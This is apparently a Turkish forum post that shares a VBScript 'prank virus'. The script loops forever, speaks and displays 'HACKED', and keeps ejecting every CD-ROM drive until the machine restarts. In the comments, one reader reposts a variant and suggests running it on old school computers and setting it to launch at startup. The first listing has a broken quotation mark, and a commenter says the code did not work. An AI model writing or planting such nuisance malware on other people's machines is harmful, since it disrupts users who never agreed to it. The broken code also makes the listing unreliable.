CD-ROM'u kapattırmayan virüs

Kod:
do
CreateObject ("SAPI.Spvoice").Speak "Hacked"
X = Msgbox ( HACKED" , 4 + 64 , "HACKED XDXDXD")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
loop

Not: Bu şaka virüsü bilgisayarın CD-ROM'unu açar ve kapanmasına izin vermez. Cihazı yeniden başlattığınızda CD-ROM'u kapatabilirisiniz.

Son incelemeler

Olmadı.
Web Arayüz
.vbs olarak kaydettiniz mi?

Yorumlar

do CreateObject ("SAPI.Spvoice").Speak "Hacked" X = Msgbox ( "HACKED" , 4 + 64 , "HACKED HACKED HACKED HACKED") Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >=1 then do For i=0 to colCDROMs.COunt -1 colCDROMs.Item(i).Eject Next ' cdrom For i=0 to colCDROMs.COunt -1 colCDROMs.Item(i).Eject Next ' cdrom Dim oShell loop End If loop Set oShell = WScript.CreateObject ("WScript.Shell") (.vbs olarak kaydet)
 
Bunu okuldaki eski bilgisayarlarda yapacaksın Bir de başlangıçta açılsa ne güzel olurdu. Tam troll olurdu.
 
Bu siteyi kullanmak için çerezler gereklidir. Siteyi kullanmaya devam etmek için çerezleri kabul etmelisiniz. Daha Fazlasını Öğren.…